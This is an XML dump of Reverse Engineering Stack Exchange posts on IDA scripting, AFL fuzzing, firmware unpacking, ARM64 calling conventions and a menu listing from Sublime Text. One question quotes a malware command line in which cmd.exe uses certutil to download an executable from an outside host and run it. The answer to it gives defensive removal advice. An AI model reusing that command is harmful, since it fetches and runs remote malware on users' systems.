---Select All    Ctrl+A&#xA;     198       ---Expand Selection to Line      Ctrl+L&#xA;         tttttttttttttttttttttttttt&#xA;  131648       ---F&amp;amp;ind&#xA;     205       ---Findà Ctrl+F&#xA;     206       ---Find Next     F3&#xA;     207       ---Find Previous Shift+F3&#xA;     208       ---Incremental Find      Ctrl+I&#xA;     209       ------------------&#xA;     210       ---Replaceà      Ctrl+H&#xA;     211       ---Replace Next  Ctrl+Shift+H&#xA;     212       ------------------&#xA;     213       ---Quick Find    Ctrl+F3&#xA;     214       ---Quick Find All        Alt+F3&#xA;     215       ---Quick Add Next        Ctrl+D&#xA;     216       ---Quick Skip Next       Ctrl+K, Ctrl+D&#xA;     217       ------------------&#xA;     218       ---Use Selection for Find        Ctrl+E&#xA;     219       ---Use Selection for Replace     Ctrl+Shift+E&#xA;     220       ------------------&#xA;     221       ---Find in Filesà        Ctrl+Shift+F&#xA;  131692       ---Find &amp;amp;Results&#xA;     222       ---Show Results Panel&#xA;     223       ---&#xA;     224       ---Previous Result&#xA;  131716       ---&amp;amp;View&#xA;  131690       ---Side Bar&#xA;     225       ---Hide Side Bar Ctrl+K, Ctrl+B&#xA;     226       ------------------&#xA;     227       ---Show Open Files&#xA;     228       ---Hide Minimap&#xA;     229       ---Hide Tabs&#xA;     230       ---Hide Status Bar&#xA;     231       ---Hide Menu&#xA;     232       ---Show Console  Ctrl+`&#xA;     233       ------------------&#xA;     234       ---Enter Full Screen     F11&#xA;     235       ---Enter Distraction Free Mode   Shift+F11&#xA;     236       ------------------&#xA;  131688       ---&amp;amp;Layout&#xA;     237       ---Single        Alt+Shift+1&#xA;     238       ---Columns: 2    Alt+Shift+2&#xA;     239       ---Columns: 3    Alt+Shift+3&#xA;     240       ---Columns: 4    Alt+Shift+4&#xA;     241       ---Rows: 2       Alt+Shift+8&#xA;     242       ---Rows: 3       Alt+Shift+9&#xA;     243       ---Grid: 4       Alt+Shift+5&#xA;  131686       ---Groups&#xA;     244       ---Move File to New Group        Ctrl+K, Ctrl+Up&#xA;     245       ---New Group     Ctrl+K, Ctrl+Shift+Up&#xA;     246       ---Close Group   Ctrl+K, Ctrl+Down&#xA;     247       ------------------&#xA;     248       ---Max Columns: 1&#xA;     249       ---Max Columns: 2&#xA;     250       ---Max Columns: 3&#xA;     251       ---Max Columns: 4&#xA;     252       ---Max Columns: 5&#xA;  131684       ---&amp;amp;Focus Group&#xA;     253       ---Next  Ctrl+K, Ctrl+Right&#xA;     254       ---Previous      Ctrl+K, Ctrl+Left&#xA;     255       ------------------&#xA;     256       ---Group 1       Ctrl+1&#xA;     257       &quot;&quot;&#xA;     258       &quot;&quot;&#xA;     259       &quot;&quot;&#xA;  197250       ---&amp;amp;Move File to Group&#xA;     260       ---Next  Ctrl+K, Ctrl+Shift+Right&#xA;     261       ---Previous      Ctrl+K, Ctrl+Shift+Left&#xA;     262       ------------------&#xA;     263       ---Group 1       Ctrl+Shift+1&#xA;     264       &quot;&quot;&#xA;     265       &quot;&quot;&#xA;     266       &quot;&quot;&#xA;     267       ------------------&#xA;  131682       ---&amp;amp;Syntax&#xA;  131680       ---Open all with current extension as...&#xA;      uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu&#xA;   66212       ---&amp;amp;Indentation&#xA;     417       ---Indent Using Spaces&#xA;     418       ------------------&#xA;     419       ---Tab Width: 1&#xA;     420       ---Tab Width: 2&#xA;     421       ---Tab Width: 3&#xA;     422   X   ---Tab Width: 4&#xA;     423       ---Tab Width: 5&#xA;     424       ---Tab Width: 6&#xA;     425       ---Tab Width: 7&#xA;     426       ---Tab Width: 8&#xA;     427       ------------------&#xA;     428       ---Guess Settings From Buffer&#xA;     429       ------------------&#xA;     430       ---Convert Indentation to Spaces&#xA;     431       ---Convert Indentation to Tabs&#xA;   66214       ---Li&amp;amp;ne Endings&#xA;     432   X   ---Windows&#xA;     433       ---Unix&#xA;     434       ---Mac OS 9&#xA;     435       ------------------&#xA;     436   X   ---&amp;amp;Word Wrap       &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;   66216       ---Word Wrap Column&#xA;     437   X   ---Automatic&#xA;     438       ------------------&#xA;     439       ---70&#xA;     440       ---72&#xA;     441       ---78&#xA;     442       ---80&#xA;     443       ---100&#xA;     444       ---120&#xA;   66219       ---Ruler&#xA;     445   X   ---None&#xA;     446       ------------------&#xA;     447       ---70&#xA;     448       ---72&#xA;     449       ---78&#xA;     450       ---80&#xA;     451       ---100&#xA;     452       ---120&#xA;     453       ------------------&#xA;     454       ---Spell Check   F6&#xA;     455       ---Next Misspelling      Ctrl+F6&#xA;     456       ---Prev Misspelling      Ctrl+Shift+F6&#xA;   66221       ---Dictionary&#xA;     457       ---en_GB&#xA;     458   X   ---en_US&#xA;   66223       ---&amp;amp;Goto&#xA;     459       ---Goto &amp;amp;Anythingà       Ctrl+P&#xA;     460       ------------------&#xA;     461       ---Goto Symbolà  Ctrl+R&#xA;     462       ---Goto Symbol in Projectà       Ctrl+Shift+R&#xA;     463       ---Goto Definitionà      F12&#xA;     464       ---Goto Referenceà       Shift+F12&#xA;     465       ---Goto Lineà    Ctrl+G&#xA;     466       ------------------&#xA;     467       ---Next Modification     Ctrl+.&#xA;     468       ---Previous Modification Ctrl+,&#xA;     469       ------------------&#xA;     470       ---Jump Back     Alt+-&#xA;     471       ---Jump Forward  Alt+Shift+-&#xA;     472       ------------------&#xA;   66225       ---Swi&amp;amp;tch File&#xA;     473       ---Next File     Ctrl+Pagedown&#xA;     474       ---Previous File Ctrl+Pageup&#xA;     475       ------------------&#xA;     476       ---Next File in Stack    Ctrl+Tab&#xA;     477       ---Previous File in Stack        Ctrl+Shift+Tab&#xA;     478       ------------------&#xA;     479       ---Switch &amp;amp;Header/Implementation Alt+O&#xA;     480       ------------------&#xA;     481       ---yuckeyt yuck ddddddddddddddddddddddddddddddddddddd    Alt+1&#xA;     482       &quot;&quot;&#xA;     483       &quot;&quot;&#xA;     484       &quot;&quot;&#xA;     485       &quot;&quot;&#xA;     486       &quot;&quot;&#xA;     487       &quot;&quot;&#xA;     488       &quot;&quot;&#xA;     489       &quot;&quot;&#xA;     490       &quot;&quot;&#xA;     491       ------------------&#xA;   66227       ---&amp;amp;Scroll&#xA;     492       ---Scroll to Selection   Ctrl+K, Ctrl+C&#xA;     493       ---Line Up       Ctrl+Up&#xA;     494       ---Line Down     Ctrl+Down&#xA;   66229       ---&amp;amp;Bookmarks&#xA;     495       ---Toggle Bookmark       Ctrl+F2&#xA;     496       ---Next Bookmark F2&#xA;     497       ---Prev Bookmark Shift+F2&#xA;     498       ---Clear Bookmarks       Ctrl+Shift+F2&#xA;     499       ---Select All Bookmarks  Alt+F2&#xA;     500       ------------------&#xA;     501       ---(No Bookmarks)&#xA;     502       &quot;&quot;&#xA;     503       &quot;&quot;&#xA;     504       &quot;&quot;&#xA;     505       &quot;&quot;&#xA;     506       &quot;&quot;&#xA;     507       &quot;&quot;&#xA;     508       &quot;&quot;&#xA;     509       &quot;&quot;&#xA;     510       &quot;&quot;&#xA;     511       &quot;&quot;&#xA;     512       &quot;&quot;&#xA;     513       &quot;&quot;&#xA;     514       &quot;&quot;&#xA;     515       &quot;&quot;&#xA;     516       &quot;&quot;&#xA;     517       ------------------&#xA;     518       ---Jump to Matching Bracket      Ctrl+M&#xA;   66231       ---&amp;amp;Tools&#xA;     519       ---Command Paletteà      Ctrl+Shift+P&#xA;     520       ---Snippetsà&#xA;     521       ------------------&#xA;   66233       ---B&amp;amp;uild System&#xA;     522   X   ---Automatic&#xA;     523       ------------------&#xA;     524       &quot;&quot;&#xA;     525       &quot;&quot;&#xA;     526       &quot;&quot;&#xA;     527       &quot;&quot;&#xA;     528       &quot;&quot;&#xA;     529       &quot;&quot;&#xA;     530       &quot;&quot;&#xA;     531       &quot;&quot;&#xA;     532       &quot;&quot;&#xA;     533       &quot;&quot;&#xA;     534       &quot;&quot;&#xA;     535       &quot;&quot;&#xA;     536       &quot;&quot;&#xA;     537       ---ActionScript&#xA;     538       ---Ant&#xA;     539       ---C Single File&#xA;     540       ---C++ Single File&#xA;     541       ---Cargo&#xA;     542       ---D&#xA;     543       ---D dub&#xA;     544       ---Erlang&#xA;     545       ---Haskell&#xA;     546       ---JavaC&#xA;     547       ---Lua&#xA;     548       ---Make&#xA;     549       ---Python&#xA;     550       ---R&#xA;     551       ---Ruby&#xA;     552       ---Rust&#xA;     553       ---ShellScript&#xA;     554       ---Syntax Tests&#xA;     555       ------------------&#xA;     556       ---New Build Systemà&#xA;     557       ---&amp;amp;Build        Ctrl+B&#xA;     558       ---Build Withà   Ctrl+Shift+B&#xA;     559       ---&amp;amp;Cancel Build Ctrl+Break&#xA;   66235       ---Build &amp;amp;Results&#xA;     560       ---&amp;amp;Show Build Results&#xA;     561       ---&amp;amp;Next Result  F4&#xA;     562       ---&amp;amp;Previous Result      Shift+F4&#xA;     563       ---Save &amp;amp;All on Build&#xA;     564       ------------------&#xA;     565       ---Record &amp;amp;Macro Ctrl+Q&#xA;     566       ---&amp;amp;Playback Macro       Ctrl+Shift+Q&#xA;     567       ---Sa&amp;amp;ve Macroà&#xA;   66237       ---Macros&#xA;     568       ---Add Line Before&#xA;     569       ---Add Line in Braces&#xA;     570       ---Add Line&#xA;     571       ---Delete Left Right&#xA;     572       ---Delete Line&#xA;     573       ---Delete to BOL&#xA;     574       ---Delete to EOL&#xA;     575       ---Delete to Hard BOL&#xA;     576       ---Delete to Hard EOL&#xA;     577       ------------------&#xA;   66239       ---Developer&#xA;     578       ---New Pluginà&#xA;     579       ---New Snippetà&#xA;     580       ---New Syntaxà&#xA;     581       &quot;&quot;&#xA;     582       ------------------&#xA;     583       ---Profile Plugins&#xA;     584       ------------------&#xA;     585       ---Show Scope Name       Ctrl+Alt+Shift+P&#xA;     586       ---Install Package Controlà&#xA;     587       &quot;&quot;&#xA;   66241       ---&amp;amp;Project&#xA;     588       ---Open Projectà&#xA;     589       ---Switch Projectà&#xA;     590       ---Quick &amp;amp;Switch Projectà&#xA;   66243       ---Open Recent&#xA;     591       &quot;&quot;&#xA;     592       &quot;&quot;&#xA;     593       &quot;&quot;&#xA;     594       &quot;&quot;&#xA;     595       &quot;&quot;&#xA;     596       &quot;&quot;&#xA;     597       &quot;&quot;&#xA;     598       &quot;&quot;&#xA;     599       &quot;&quot;&#xA;     600       ---Clear Items&#xA;     601       ------------------&#xA;     602       ---Save Project &amp;amp;Asà&#xA;     603       ---&amp;amp;Close Project&#xA;     604       ---Edit Project&#xA;     605       ------------------&#xA;     606       ---New Workspace for Project&#xA;     607       ---Save Workspace &amp;amp;Asà&#xA;     608       ------------------&#xA;     609       ---A&amp;amp;dd Folder to Projectà&#xA;     610       ---Re&amp;amp;move all Folders from Project&#xA;     611       ---R&amp;amp;efresh Folders&#xA;   66245       ---Prefere&amp;amp;nces&#xA;     612       ---&amp;amp;Browse Packagesà&#xA;     613       ------------------&#xA;     614       ---Settings&#xA;     615       ---Settings û Syntax Specific&#xA;     616       ---Settings û Distraction Free&#xA;     617       ------------------&#xA;     618       ---Key Bindings&#xA;     619       ------------------&#xA;     620       ---Color Schemeà&#xA;     621       ---Themeà&#xA;   66247       ---Font&#xA;     622       ---Larger        Ctrl+=&#xA;     623       ---Smaller       Ctrl+Shift+Keypad Plus&#xA;     624       ------------------&#xA;     625       ---Reset&#xA;   66249       ---&amp;amp;Help&#xA;     626       ---Documentation&#xA;     627       ---Twitter&#xA;     628       ------------------&#xA;     629       ---Indexing Statusà&#xA;     630       ------------------&#xA;     631       ---Purchase License&#xA;     632       &quot;&quot;&#xA;     633       ---Enter License&#xA;     634       &quot;&quot;&#xA;     635       ------------------&#xA;     636       ---Check for Updatesà&#xA;     637       ---Changelogà&#xA;     638       ---&amp;amp;About Sublime Text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-12-13T21:30:38.647" LastActivityDate="2019-12-13T21:30:38.647" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22690" PostTypeId="1" CreationDate="2019-12-08T09:33:12.713" Score="1" ViewCount="1751" Body="&lt;p&gt;Every time I start my PC, Windows Defender shows a notification saying that the virus Trojan:Win32/Ceprolad.A was deleted, which means indeed that it wasn't, as most antivirus I've tried these days (Panda, Avast...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The details of this thread are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CmdLine: C:\Windows\System32\cmd.exe /C certutil.exe -urlcache -split&#xA;  -f &lt;a href=&quot;http://tfortytimes.com/app/app.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tfortytimes.com/app/app.exe&lt;/a&gt; C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe &amp;amp;&amp;amp;&#xA;  C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe /31340&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd like to find it and delete it, instead of just restoring my Windows OS to a previous point, so I was thinking to debug the code using IDA, Ollydbg... but I'm quite new on this, so I'm not sure how to get a sample of the malware to analyze it (I have a virtual machine for that) or if there is a better way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions will be welcome!&lt;/p&gt;&#xA;" OwnerUserId="30407" LastEditorUserId="245" LastEditDate="2019-12-09T10:03:52.363" LastActivityDate="2019-12-13T19:59:00.923" Title="Why Windows Defender is not able to get rid of this trojan?" Tags="|ida|assembly|debugging|malware|static-analysis|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22691" PostTypeId="1" CreationDate="2019-12-08T11:06:52.300" Score="2" ViewCount="200" Body="&lt;p&gt;I have some questions about the &lt;a href=&quot;http://lcamtuf.coredump.cx/afl/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AFL Fuzzer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How does the AFL Fuzzer know where to inject the payload in the code I compile? For instance if I want to inject it in a specific parameter, how do I do it?&lt;/li&gt;&#xA;&lt;li&gt;As I understood, if I put all test cases in the input directory it knows to build randomly injections based on that input, yes?&lt;/li&gt;&#xA;&lt;li&gt;I saw a video shows that if for instance there are two inputs in the code, so in the test case each line is for each input. Is that correct? Since I want put a full message (for example HTTP request) into one variable, so how do I do it ? &lt;/li&gt;&#xA;&lt;li&gt;I have compiled everything correctly but for some reason it does not find any new paths. In addition, if I do not put the &lt;code&gt;-m none&lt;/code&gt; I get the following error : &quot;Fork server crashed with signal 6&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I don't understand when to put &lt;code&gt;@@&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30408" LastEditorUserId="245" LastEditDate="2019-12-09T10:19:54.803" LastActivityDate="2019-12-09T10:19:54.803" Title="submitting input into AFL fuzzer" Tags="|disassembly|binary-analysis|linux|fuzzing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22694" PostTypeId="1" CreationDate="2019-12-08T20:19:41.013" Score="3" ViewCount="349" Body="&lt;p&gt;I recently purchased a Uniden Radio Scanner (BCD325P2). I looked at the Windows FW Update App in dnSpy, then pulled the FW bin directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FCC Parts List gets me R5F5631BCDFP#V0, which appears to be a Renesas Electronics 32-bit Microcontrollers - MCU RX631 1MB/128KB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest FW bin for this model is here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/file/vp2drmh7dvgjpfi/BCD325P2_V1_08_01.bin/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/file/vp2drmh7dvgjpfi/BCD325P2_V1_08_01.bin/file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FW bin looks packed or obfuscated, there are no strings and binwalk shows nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to get this loaded into a disassembler.&lt;/p&gt;&#xA;" OwnerUserId="30413" LastEditorUserId="266" LastEditDate="2019-12-10T22:37:31.930" LastActivityDate="2019-12-10T22:37:31.930" Title="Uniden FW Hacking" Tags="|assembly|firmware|file-format|cryptography|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22695" PostTypeId="2" ParentId="19843" CreationDate="2019-12-09T04:29:16.937" Score="3" Body="&lt;p&gt;There doesn't seem to be a straightforward way to achieve this. But you can take a look at &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/group__dt__.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; of the IDA SDK documentation.&lt;/p&gt;&#xA;&lt;p&gt;According to the description of the previous page, we can write a little helper function:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;def size_of_operand(op):&#xA;    tbyte = 8&#xA;    dt_ldbl = 8&#xA;    n_bytes = [ 1, 2, 4, 4, 8,&#xA;            tbyte, -1, 8, 16, -1,&#xA;            -1, 6, -1, 4, 4,&#xA;            dt_ldbl, 32, 64 ]&#xA;    return n_bytes[op.dtype]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now we can use command like&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;insn = idautils.DecodeInstruction(ScreenEA())&#xA;index_of_operand = 0&#xA;size_of_operand(insn.Operand[index_of_operand])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to get the size of an operand.&lt;/p&gt;&#xA;&lt;p&gt;For example, for &lt;code&gt;xor al, al&lt;/code&gt;, it returns 1. For &lt;code&gt;pop ebp&lt;/code&gt;, it returns 4.&lt;/p&gt;&#xA;&lt;p&gt;Note: refer to &lt;a href=&quot;https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Porting from IDAPython 6.x-7.3, to 7.4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30414" LastEditorUserId="245" LastEditDate="2023-07-14T23:13:04.317" LastActivityDate="2023-07-14T23:13:04.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22696" PostTypeId="1" CreationDate="2019-12-09T07:29:47.870" Score="0" ViewCount="360" Body="&lt;p&gt;when I open binary and write ram and rom , I don't know how to change it (and re parse all the binary) without close and open again the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any smart way ?&lt;/p&gt;&#xA;" OwnerUserId="30111" LastActivityDate="2020-05-07T12:01:10.123" Title="IDA Change ram and rom without reopen IDA" Tags="|ida|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22698" PostTypeId="2" ParentId="22690" CreationDate="2019-12-09T10:00:38.763" Score="3" Body="&lt;p&gt;I am assuming that the malware is already on your disk (not all malware hits the disk!). So keep that in mind when following this answer. If this is not the case, please provide more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows many files that are in use and therefore cannot be deleted can be dealt in one of two ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;rename the file (the &lt;code&gt;ren&lt;/code&gt; command on the command prompt should help)&lt;/li&gt;&#xA;&lt;li&gt;failing 1., a tool such as &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/movefile&quot; rel=&quot;nofollow noreferrer&quot;&gt;MoveFile&lt;/a&gt; can be used to tell the session manager (&lt;code&gt;smss.exe&lt;/code&gt;) to move the file early during a boot&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;By renaming the file you can oftentimes ensure that next time an attempt is made to load the malware, it will fail. However, if there is some kind of dropper involved, attempting to download this malware time and time again, this may fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such a case you can attempt a variation on the two above methods. You can create a directory of the same name as the malware file or conversely a file if this concerns a directory. So given the path &lt;code&gt;C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe&lt;/code&gt; you have two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;rename the &lt;code&gt;C:\Users\NMolinero\AppData\Local\Temp\csrss&lt;/code&gt; to something else and then create a &lt;em&gt;file&lt;/em&gt; with that same full path in its stead.&lt;/li&gt;&#xA;&lt;li&gt;rename the file &lt;code&gt;C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe&lt;/code&gt; and create a &lt;em&gt;directory&lt;/em&gt; with that exact same full path in its stead (yes, a folder with the &lt;code&gt;.exe&lt;/code&gt; file extension).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the MoveFile method I am mentioning above, you may have to create a folder of some arbitrary name and use MoveFile to rename it to &lt;code&gt;C:\Users\NMolinero\AppData\Local\Temp\csrss&lt;/code&gt; or &lt;code&gt;C:\Users\NMolinero\AppData\Local\Temp\csrss\scheduled.exe&lt;/code&gt; respectively. That is, depending on the exact behavior you observe you may have to deviate slightly from the &quot;overall&quot; methods I am outlining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory all of this can still fail. We can reasonably assume that the file paths you gave are the &lt;em&gt;actual&lt;/em&gt; file paths of the malware entities, since they appear in the context of a command being executed. In general it would also be possible for a malware to camouflage itself by using a path or file name that is invalid in terms of the Win32 subsystem (see &lt;a href=&quot;https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). In this case you would have to use one of the alternative path notations (explained in the linked article) in order to escape the path conversion and &quot;vetting&quot; at the Win32 subsystem layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing all of the above you may want to pick up a recent live CD (Linux Mint, Ubuntu, whatever ...) with support for the NTFS file system (I have to &lt;em&gt;assume&lt;/em&gt; once again here), in order to make the above mentioned modifications while your Windows system (and therefore the malware) lies dormant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you're done with these steps you should be able to extract the malware and perform whatever static analysis you want with whichever tool you prefer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If MoveFile fails or you cannot use it for whatever reason, you could always attempt to schedule the move operation via the &lt;code&gt;PendingFileRenameOperations&lt;/code&gt; registry value. But frankly if the malware prevents you from using something like MoveFile or the registry editor you may want to use the &quot;offline&quot; method I described as last resort.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2019-12-09T10:00:38.763" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22699" PostTypeId="2" ParentId="22696" CreationDate="2019-12-09T10:09:23.560" Score="1" Body="&lt;p&gt;You can use commands in the Edit-Segments.. menu to create new segments and/or move the existing ones.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-09T10:09:23.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22700" PostTypeId="2" ParentId="22684" CreationDate="2019-12-09T10:44:06.143" Score="1" Body="&lt;p&gt;I am unsure what you mean by &quot;solving&quot; this, but the meaning of the code is rather obvious and even more so in the screenshot you provided. Simplified version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call $+5&#xA;add [esp], 5&#xA;ret&#xA;xor eax, eax&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And with annotations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_main:&#xA;  call $+5     ; call address of next instruction, placing return address on stack (esp)&#xA;  add [esp], 5 ; add 5 bytes to the return address&#xA;  ret          ; return to the address from the stack ... which happens to be&#xA;  xor eax, eax ; ... this instruction&#xA;  ret          ; return for good from _main ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what this does is to return 0 as a 32-bit value from &lt;code&gt;_main&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the (decompiled) condition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((cVar1 = func_0x8b4c55a0(), cVar1 == -0xe) || 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... this doesn't change a thing, however, as the &lt;code&gt;|| 1&lt;/code&gt; will ensure that this condition is always true and &lt;code&gt;cVar1&lt;/code&gt; doesn't subsequently get used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as far as you provide context, this is pure distraction.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2019-12-09T10:44:06.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22701" PostTypeId="1" AcceptedAnswerId="22702" CreationDate="2019-12-09T13:29:12.580" Score="2" ViewCount="1115" Body="&lt;p&gt;I have &lt;code&gt;usercall&lt;/code&gt; with calling convention I do not fully understand, it returns &lt;code&gt;std::string&lt;/code&gt; but IDA recognize it as &lt;code&gt;void&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that every calle reads from &lt;code&gt;x8/w8&lt;/code&gt; afterwards, from &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention#ARM_(A64)&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia&lt;/a&gt;;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;x8: used to hold indirect return value address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone explain &quot;&lt;em&gt;indirect return value address&lt;/em&gt;&quot; ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From&#xA;&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/arm64-windows-abi-conventions?view=vs-2019&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/cpp/build/arm64-windows-abi-conventions?view=vs-2019&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Return values &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Integral values are returned in x0.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Floating-point values are returned in s0, d0, or v0, as appropriate.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;HFA and HVA values are returned in s0-s3, d0-d3, or v0-v3, as&#xA;  appropriate.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Types returned by value are handled differently depending on whether&#xA;  they have certain properties. Types which have all of these&#xA;  properties,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;they're aggregate by the C++14 standard definition, that is, they have&#xA;  no user-provided constructors, no private or protected non-static data&#xA;  members, no base classes, and no virtual functions, and they have a&#xA;  trivial copy-assignment operator, and they have a trivial destructor,&#xA;  use the following return style:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Types less than or equal to 8 bytes are returned in x0. Types less&#xA;  than or equal to 16 bytes are returned in x0 and x1, with x0&#xA;  containing the lower-order 8 bytes. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;For types greater than 16 bytes,&#xA;  the caller shall reserve a block of memory of sufficient size and&#xA;  alignment to hold the result. The address of the memory block shall be&#xA;  passed as an additional argument to the function in x8. The callee may&#xA;  modify the result memory block at any point during the execution of&#xA;  the subroutine. The callee isn't required to preserve the value stored&#xA;  in x8.&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;All other types use this convention:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The caller shall reserve a block of memory of sufficient size and&#xA;  alignment to hold the result. The address of the memory block shall be&#xA;  passed as an additional argument to the function in x0, or x1 if $this&#xA;  is passed in x0. The callee may modify the result memory block at any&#xA;  point during the execution of the subroutine. The callee returns the&#xA;  address of the memory block in x0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Update 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://static.docs.arm.com/den0024/a/DEN0024A_v8_architecture_PG.pd&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARM docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Registers with a special purpose  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;• X8 is the indirect result&#xA;  register. This is used to pass the address location of an indirect&#xA;  result, for example, where a function returns a large structure.&#xA;  ...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;... the structure contains more than 16 bytes. According to the AAPCS for&#xA;  AArch64, the returned object is written to the memory pointed to by XR.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2019-12-09T19:24:11.027" LastActivityDate="2019-12-09T19:24:11.027" Title="indirect return value address" Tags="|ida|c++|calling-conventions|arm64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
